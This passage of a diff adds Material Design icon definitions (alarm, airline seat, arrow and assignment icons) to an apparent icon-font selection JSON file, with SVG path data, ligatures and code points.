}, + "setIdx": 2, + "setId": 2, + "iconIdx": 13 + }, + { + "icon": { + "paths": [ + "M554 384v128h128v86h-128v128h-84v-128h-128v-86h128v-128h84zM512 854c166 0 298-134 298-300s-132-298-298-298-298 132-298 298 132 300 298 300zM512 170c212 0 384 172 384 384s-172 384-384 384-384-172-384-384 172-384 384-384zM938 244l-54 66-196-166 54-64zM336 144l-196 164-54-64 196-164z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "alarm_add" + ], + "defaultCode": 59478, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_alarm, alarm_add", + "id": 14, + "order": 25, + "prevSize": 24, + "code": 59478, + "name": "alarm_add" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 14 + }, + { + "icon": { + "paths": [ + "M682 556v-86h-128v-128h-84v128h-128v86h128v128h84v-128h128zM806 718l90 90v46h-768v-46l90-90v-248c0-138 96-256 226-286v-30c0-38 30-68 68-68s68 30 68 68v30c130 30 226 148 226 286v248zM428 896h168c0 46-38 86-84 86s-84-40-84-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add_alert" + ], + "defaultCode": 57347, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_alert", + "id": 15, + "order": 26, + "prevSize": 24, + "code": 57347, + "name": "add_alert" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 15 + }, + { + "icon": { + "paths": [ + "M726 554v-84h-172v-172h-84v172h-172v84h172v172h84v-172h172zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add_box" + ], + "defaultCode": 57670, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_box", + "id": 16, + "order": 27, + "prevSize": 24, + "code": 57670, + "name": "add_box" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 16 + }, + { + "icon": { + "paths": [ + "M726 554v-84h-172v-172h-84v172h-172v84h172v172h84v-172h172zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add_circle" + ], + "defaultCode": 57671, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_circle", + "id": 17, + "order": 28, + "prevSize": 24, + "code": 57671, + "name": "add_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 17 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM554 298v172h172v84h-172v172h-84v-172h-172v-84h172v-172h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "control_point" + ], + "defaultCode": 58298, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_circle_outline, control_point", + "id": 18, + "order": 29, + "prevSize": 24, + "code": 58298, + "name": "control_point" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 18 + }, + { + "icon": { + "paths": [ + "M682 426v-84h-128v-128h-84v128h-128v84h128v128h84v-128h128zM512 86c164 0 298 134 298 298 0 224-298 554-298 554s-298-330-298-554c0-164 134-298 298-298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add_location" + ], + "defaultCode": 58727, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_location", + "id": 19, + "order": 30, + "prevSize": 24, + "code": 58727, + "name": "add_location" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 19 + }, + { + "icon": { + "paths": [ + "M306 630c0 6 4 10 10 10h494v86h-512c-46 0-84-40-84-86 0-14 4-28 10-40l58-106-154-324h-86v-84h140c27.003 56.33 53.665 113.001 80 170 34.063 71.271 67.603 143.063 102 214h300c54.786-99.881 110.533-198.8 164-300l74 42-164 298c-14 26-42 44-74 44h-318l-38 70zM726 768c46 0 84 40 84 86s-38 84-84 84-86-38-86-84 40-86 86-86zM298 768c46 0 86 40 86 86s-40 84-86 84-84-38-84-84 38-86 84-86zM470 384v-128h-128v-86h128v-128h84v128h128v86h-128v128h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add_shopping_cart" + ], + "defaultCode": 59476, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_shopping_cart", + "id": 20, + "order": 31, + "prevSize": 24, + "code": 59476, + "name": "add_shopping_cart" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 20 + }, + { + "icon": { + "paths": [ + "M810 470v-86h-170v-170h-86v170h-170v86h170v170h86v-170h170zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-512c-46 0-86-40-86-86v-512c0-46 40-84 86-84h512zM170 256v598h598v84h-598c-46 0-84-38-84-84v-598h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "queue" + ], + "defaultCode": 57404, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_to_photos, library_add, queue", + "id": 21, + "order": 32, + "prevSize": 24, + "code": 57404, + "name": "queue" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 21 + }, + { + "icon": { + "paths": [ + "M682 426v86h-128v128h-84v-128h-128v-86h128v-128h84v128h128zM896 726v-512h-768v512h768zM896 128c46 0 86 38 86 86l-2 512c0 46-38 84-84 84h-214v86h-340v-86h-214c-48 0-86-38-86-84v-512c0-48 38-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "add_to_queue" + ], + "defaultCode": 57436, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "add_to_queue", + "id": 22, + "order": 33, + "prevSize": 24, + "code": 57436, + "name": "add_to_queue" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 22 + }, + { + "icon": { + "paths": [ + "M640 512c0 70-58 128-128 128s-128-58-128-128 58-128 128-128 128 58 128 128zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "adjust" + ], + "defaultCode": 58270, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "adjust", + "id": 23, + "order": 34, + "prevSize": 24, + "code": 58270, + "name": "adjust2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 23 + }, + { + "icon": { + "paths": [ + "M304 516c-50 50-130 52-180 2s-52-130-2-180 130-52 180-2 52 130 2 180zM86 598h852v84h-256v86h-340v-86h-256v-84zM938 470v84h-554v-256h384c94 0 170 78 170 172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_flat" + ], + "defaultCode": 58928, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_flat", + "id": 24, + "order": 35, + "prevSize": 24, + "code": 58928, + "name": "airline_seat_flat" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 24 + }, + { + "icon": { + "paths": [ + "M312 436c-64 30-142 4-172-60s-4-142 60-172 142-4 172 60 4 142-60 172zM64 518l30-80 810 292-28 80-194-68v68h-340v-192zM950 610l-30 80-528-190 90-242 364 132c90 32 136 130 104 220z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_flat_angled" + ], + "defaultCode": 58929, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_flat_angled", + "id": 25, + "order": 36, + "prevSize": 24, + "code": 58929, + "name": "airline_seat_flat_angled" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 25 + }, + { + "icon": { + "paths": [ + "M810 298c94 0 172 78 172 172v256h-940v-428h86v300h342v-300h340zM298 554c-70 0-128-58-128-128s58-128 128-128 128 58 128 128-58 128-128 128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_individual_suite" + ], + "defaultCode": 58930, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_individual_suite", + "id": 26, + "order": 37, + "prevSize": 24, + "code": 58930, + "name": "airline_seat_individual_suite" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 26 + }, + { + "icon": { + "paths": [ + "M974 736c18 32 2 72-30 88l-158 72-146-298h-298c-70 0-128-58-128-128v-342h256v256h150c32 0 62 18 76 48l144 298 48-22c32-14 70-2 86 28zM170 512c0 70 58 128 128 128h256v86h-256c-118 0-212-96-212-214v-384h84v384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_legroom_extra" + ], + "defaultCode": 58931, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_legroom_extra", + "id": 27, + "order": 38, + "prevSize": 24, + "code": 58931, + "name": "airline_seat_legroom_extra" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 27 + }, + { + "icon": { + "paths": [ + "M874 768c36 0 64 28 64 64s-28 64-64 64h-192v-298h-298c-70 0-128-58-128-128v-342h256v256h214c46 0 84 40 84 86v298h64zM214 512c0 70 58 128 128 128h256v86h-256c-118 0-214-96-214-214v-384h86v384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_legroom_normal" + ], + "defaultCode": 58932, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_legroom_normal", + "id": 28, + "order": 39, + "prevSize": 24, + "code": 58932, + "name": "airline_seat_legroom_normal" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 28 + }, + { + "icon": { + "paths": [ + "M214 512c0 70 58 128 128 128h170v86h-170c-118 0-214-96-214-214v-384h86v384zM852 820c8 40-22 76-62 76h-192v-128l42-170h-256c-70 0-128-58-128-128v-342h256v256h214c46 0 84 40 84 86l-84 298h60c32 0 60 22 66 52z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_legroom_reduced" + ], + "defaultCode": 58933, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_legroom_reduced", + "id": 29, + "order": 40, + "prevSize": 24, + "code": 58933, + "name": "airline_seat_legroom_reduced" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 29 + }, + { + "icon": { + "paths": [ + "M692 640l246 192-64 64-162-128h-292c-62 0-114-44-126-104l-58-252c-8-52 26-102 78-112h2c30.359-4.337 56.628 4.102 74 18l70 54c54 42 130 68 200 54v92c-80 14-152-14-220-52l44 174h208zM682 810v86h-300c-106 0-196-76-212-180l-84-418h84l84 404c10 62 64 108 128 108h300zM228 240c-38-28-46-80-20-118s80-48 118-22c38 28 48 82 22 120-28 38-82 46-120 20z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_recline_extra" + ], + "defaultCode": 58934, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_recline_extra", + "id": 30, + "order": 41, + "prevSize": 24, + "code": 58934, + "name": "airline_seat_recline_extra" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 30 + }, + { + "icon": { + "paths": [ + "M854 856l-62 62-150-150h-216c-70 0-128-58-128-128v-246c0-52 44-96 96-96h2c29.673 0 54.798 16.798 70 32l60 66c46 50 130 86 200 86v94c-82 0-176-44-236-94v158h148zM256 682c0 70 58 128 128 128h256v86h-256c-118 0-214-96-214-214v-384h86v384zM324 230c-34-34-34-86 0-120s86-34 120 0 34 86 0 120-86 34-120 0z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airline_seat_recline_normal" + ], + "defaultCode": 58935, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airline_seat_recline_normal", + "id": 31, + "order": 42, + "prevSize": 24, + "code": 58935, + "name": "airline_seat_recline_normal" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 31 + }, + { + "icon": { + "paths": [ + "M896 682l-342-106v234l86 64v64l-150-42-148 42v-64l84-64v-234l-340 106v-84l340-214v-234c0-36 28-64 64-64s64 28 64 64v234l342 214v84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flight" + ], + "defaultCode": 58681, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airplanemode_active, flight", + "id": 32, + "order": 43, + "prevSize": 24, + "code": 58681, + "name": "flight" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 32 + }, + { + "icon": { + "paths": [ + "M128 224l54-54 672 672-54 54-246-244v158l86 64v64l-150-42-148 42v-64l84-64v-234l-340 106v-84l254-160zM554 384l342 214v84l-136-42-334-334v-156c0-36 28-64 64-64s64 28 64 64v234z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airplanemode_inactive" + ], + "defaultCode": 57748, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airplanemode_inactive", + "id": 33, + "order": 44, + "prevSize": 24, + "code": 57748, + "name": "airplanemode_inactive" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 33 + }, + { + "icon": { + "paths": [ + "M896 128c46 0 86 40 86 86v512c0 46-40 84-86 84h-170v-84h170v-512h-768v512h170v84h-170c-46 0-86-38-86-84v-512c0-46 40-86 86-86h768zM256 938l256-256 256 256h-512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airplay" + ], + "defaultCode": 57429, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airplay", + "id": 34, + "order": 45, + "prevSize": 24, + "code": 57429, + "name": "airplay" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 34 + }, + { + "icon": { + "paths": [ + "M640 470h214l-172-172h-42v172zM746 746c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM554 470v-172h-170v172h170zM256 746c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM128 470h170v-172h-170v172zM726 214l256 256v212h-108c0 70-58 128-128 128s-128-58-128-128h-234c0 70-58 128-128 128s-128-58-128-128h-86v-384c0-48 40-84 86-84h598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "airport_shuttle" + ], + "defaultCode": 60220, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "airport_shuttle", + "id": 35, + "order": 46, + "prevSize": 24, + "code": 60220, + "name": "airport_shuttle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 35 + }, + { + "icon": { + "paths": [ + "M342 140l-36 30-62-60 38-30zM702 784l-420-420c-42 52-68 118-68 190 0 166 132 300 298 300 72 0 138-28 190-70zM124 98c262.552 262.114 525.354 523.98 788 786l-54 54-94-94c-68 58-156 94-252 94-212 0-384-172-384-384 0-96 36-182 94-250l-34-34-48 40-60-62 48-38-58-58zM938 244l-54 66-196-166 54-64zM512 256c-36 0-70 6-102 18l-66-64c50-24 108-40 168-40 212 0 384 172 384 384 0 60-14 118-38 168l-66-64c12-32 18-68 18-104 0-166-132-298-298-298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "alarm_off" + ], + "defaultCode": 59479, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "alarm_off", + "id": 36, + "order": 47, + "prevSize": 24, + "code": 59479, + "name": "alarm_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 36 + }, + { + "icon": { + "paths": [ + "M450 620l210-212 46 46-256 256-136-136 44-44zM512 854c166 0 298-134 298-300s-132-298-298-298-298 132-298 298 132 300 298 300zM512 170c212 0 384 172 384 384s-172 384-384 384-384-172-384-384 172-384 384-384zM336 144l-196 164-54-64 196-164zM938 244l-54 66-196-166 54-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "alarm_on" + ], + "defaultCode": 59480, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "alarm_on", + "id": 37, + "order": 48, + "prevSize": 24, + "code": 59480, + "name": "alarm_on" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 37 + }, + { + "icon": { + "paths": [ + "M512 470c24 0 42 18 42 42s-18 42-42 42-42-18-42-42 18-42 42-42zM512 704c106 0 192-86 192-192s-86-192-192-192-192 86-192 192 86 192 192 192zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "album" + ], + "defaultCode": 57369, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "album", + "id": 38, + "order": 49, + "prevSize": 24, + "code": 57369, + "name": "album" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 38 + }, + { + "icon": { + "paths": [ + "M794 282c128 0 230 104 230 230s-102 230-230 230c-62 0-120-24-164-68l-54-48 64-56 50 42c30 30 66 44 104 44 80 0 144-64 144-144s-64-144-144-144c-38 0-74 14-102 42-60.266 53.067-120.945 105.722-180 160l-120 106c-42 42-100 66-162 66-128 0-230-104-230-230s102-230 230-230c62 0 120 24 164 68l54 48-66 56-48-42c-30-30-66-44-104-44-80 0-144 64-144 144s64 144 144 144c38 0 74-14 102-42 60.266-53.067 120.945-105.722 180-160l120-106c42-42 100-66 162-66z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "all_inclusive" + ], + "defaultCode": 60221, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "all_inclusive", + "id": 39, + "order": 50, + "prevSize": 24, + "code": 60221, + "name": "all_inclusive" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 39 + }, + { + "icon": { + "paths": [ + "M686 684c90-90 90-240 0-330s-240-90-330 0-90 240 0 330 240 90 330 0zM732 308c116 116 116 306 0 422s-306 116-422 0-116-306 0-422 306-116 422 0zM180 348v-170h170zM350 860h-170v-170zM862 690v170h-170zM692 178h170v170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "all_out" + ], + "defaultCode": 59659, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "all_out", + "id": 40, + "order": 51, + "prevSize": 24, + "code": 59659, + "name": "all_out" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 40 + }, + { + "icon": { + "paths": [ + "M640 214v-44h-42v44h42zM426 214v-44h-42v44h42zM662 92c64 46 106 122 106 206h-512c0-84 40-160 104-206l-56-56c-8-8-8-22 0-30s22-8 30 0l64 64c34-18 74-28 114-28s78 10 112 28l64-64c8-8 22-8 30 0s8 22 0 30zM874 342c36 0 64 28 64 64v298c0 36-28 64-64 64s-64-28-64-64v-298c0-36 28-64 64-64zM150 342c36 0 64 28 64 64v298c0 36-28 64-64 64s-64-28-64-64v-298c0-36 28-64 64-64zM256 768v-426h512v426c0 24-18 42-42 42h-44v150c0 36-28 64-64 64s-64-28-64-64v-150h-84v150c0 36-28 64-64 64s-64-28-64-64v-150h-44c-24 0-42-18-42-42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "android" + ], + "defaultCode": 59481, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "android", + "id": 41, + "order": 52, + "prevSize": 24, + "code": 59481, + "name": "android2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 41 + }, + { + "icon": { + "paths": [ + "M554 640v-86h-84v86h84zM554 470v-256h-84v256h84zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "announcement" + ], + "defaultCode": 59482, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "announcement", + "id": 42, + "order": 53, + "prevSize": 24, + "code": 59482, + "name": "announcement" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 42 + }, + { + "icon": { + "paths": [ + "M682 854v-172h172v172h-172zM682 598v-172h172v172h-172zM426 342v-172h172v172h-172zM682 170h172v172h-172v-172zM426 598v-172h172v172h-172zM170 598v-172h172v172h-172zM170 854v-172h172v172h-172zM426 854v-172h172v172h-172zM170 342v-172h172v172h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "apps" + ], + "defaultCode": 58819, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "apps", + "id": 43, + "order": 54, + "prevSize": 24, + "code": 58819, + "name": "apps" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 43 + }, + { + "icon": { + "paths": [ + "M218 214h588l-40-44h-512zM512 746l234-234h-148v-86h-172v86h-148zM876 224c12 14 20 34 20 54v532c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-532c0-20 8-40 20-54l58-72c12-14 30-24 50-24h512c20 0 38 10 50 24z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "archive" + ], + "defaultCode": 57673, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "archive", + "id": 44, + "order": 55, + "prevSize": 24, + "code": 57673, + "name": "archive2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 44 + }, + { + "icon": { + "paths": [ + "M854 470v84h-520l238 240-60 60-342-342 342-342 60 60-238 240h520z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow_back" + ], + "defaultCode": 58820, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "arrow_back", + "id": 45, + "order": 56, + "prevSize": 24, + "code": 58820, + "name": "arrow_back" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 45 + }, + { + "icon": { + "paths": [ + "M854 512l-342 342-342-342 62-60 238 238v-520h84v520l240-238z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow_downward" + ], + "defaultCode": 58843, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "arrow_downward", + "id": 46, + "order": 57, + "prevSize": 24, + "code": 58843, + "name": "arrow_downward" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 46 + }, + { + "icon": { + "paths": [ + "M298 426h428l-214 214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow_drop_down" + ], + "defaultCode": 58821, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "arrow_drop_down", + "id": 47, + "order": 58, + "prevSize": 24, + "code": 58821, + "name": "arrow_drop_down" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 47 + }, + { + "icon": { + "paths": [ + "M512 598l170-172h-340zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow_drop_down_circle" + ], + "defaultCode": 58822, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "arrow_drop_down_circle", + "id": 48, + "order": 59, + "prevSize": 24, + "code": 58822, + "name": "arrow_drop_down_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 48 + }, + { + "icon": { + "paths": [ + "M298 598l214-214 214 214h-428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow_drop_up" + ], + "defaultCode": 58823, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "arrow_drop_up", + "id": 49, + "order": 60, + "prevSize": 24, + "code": 58823, + "name": "arrow_drop_up" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 49 + }, + { + "icon": { + "paths": [ + "M512 170l342 342-342 342-60-60 238-240h-520v-84h520l-238-240z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow_forward" + ], + "defaultCode": 58824, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "arrow_forward", + "id": 50, + "order": 61, + "prevSize": 24, + "code": 58824, + "name": "arrow_forward" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 50 + }, + { + "icon": { + "paths": [ + "M170 512l342-342 342 342-62 60-238-238v520h-84v-520l-240 238z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow_upward" + ], + "defaultCode": 58840, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "arrow_upward", + "id": 51, + "order": 62, + "prevSize": 24, + "code": 58840, + "name": "arrow_upward" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 51 + }, + { + "icon": { + "paths": [ + "M448 640l-96-128-74 96-54-64-74 96h298zM512 384v256c0 46-40 86-86 86h-256c-46 0-84-40-84-86v-256c0-46 38-86 84-86h256c46 0 86 40 86 86zM598 726v-86h340v86h-340zM938 298v86h-340v-86h340zM938 554h-340v-84h340v84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "art_track" + ], + "defaultCode": 57440, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "art_track", + "id": 52, + "order": 63, + "prevSize": 24, + "code": 57440, + "name": "art_track" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 52 + }, + { + "icon": { + "paths": [ + "M896 812v-600h-768v600h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768zM298 384v128h-84v-214h212v86h-128zM810 512v214h-212v-86h128v-128h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "aspect_ratio" + ], + "defaultCode": 59483, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "aspect_ratio", + "id": 53, + "order": 64, + "prevSize": 24, + "code": 59483, + "name": "aspect_ratio" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 53 + }, + { + "icon": { + "paths": [ + "M726 726v-172h-86v172h86zM554 726v-428h-84v428h84zM384 726v-300h-86v300h86zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "poll" + ], + "defaultCode": 59393, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assessment, insert_chart, poll", + "id": 54, + "order": 65, + "prevSize": 24, + "code": 59393, + "name": "poll" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 54 + }, + { + "icon": { + "paths": [ + "M726 384v-86h-428v86h428zM726 554v-84h-428v84h428zM598 726v-86h-300v86h300zM512 128c-24 0-42 18-42 42s18 44 42 44 42-20 42-44-18-42-42-42zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h178c18-50 64-86 120-86s102 36 120 86h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assignment" + ], + "defaultCode": 59485, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assignment", + "id": 55, + "order": 66, + "prevSize": 24, + "code": 59485, + "name": "assignment" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 55 + }, + { + "icon": { + "paths": [ + "M768 810v-60c0-86-170-132-256-132s-256 46-256 132v60h512zM512 298c-70 0-128 58-128 128s58 128 128 128 128-58 128-128-58-128-128-128zM512 128c-24 0-42 18-42 42s18 44 42 44 42-20 42-44-18-42-42-42zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h178c18-50 64-86 120-86s102 36 120 86h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assignment_ind" + ], + "defaultCode": 59486, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assignment_ind", + "id": 56, + "order": 67, + "prevSize": 24, + "code": 59486, + "name": "assignment_ind" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 56 + }, + { + "icon": { + "paths": [ + "M512 214c24 0 42-20 42-44s-18-42-42-42-42 18-42 42 18 44 42 44zM554 598v-256h-84v256h84zM554 768v-86h-84v86h84zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h178c18-50 64-86 120-86s102 36 120 86h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assignment_late" + ], + "defaultCode": 59487, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assignment_late", + "id": 57, + "order": 68, + "prevSize": 24, + "code": 59487, + "name": "assignment_late" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 57 + }, + { + "icon": { + "paths": [ + "M682 640v-170h-170v-128l-214 212 214 214v-128h170zM512 128c-24 0-42 18-42 42s18 44 42 44 42-20 42-44-18-42-42-42zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h178c18-50 64-86 120-86s102 36 120 86h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assignment_return" + ], + "defaultCode": 59488, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assignment_return", + "id": 58, + "order": 69, + "prevSize": 24, + "code": 59488, + "name": "assignment_return" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 58 + }, + { + "icon": { + "paths": [ + "M512 768l214-214h-128v-170h-172v170h-128zM512 128c-24 0-42 18-42 42s18 44 42 44 42-20 42-44-18-42-42-42zM810 128c46 0 86 40 86 86v596c0 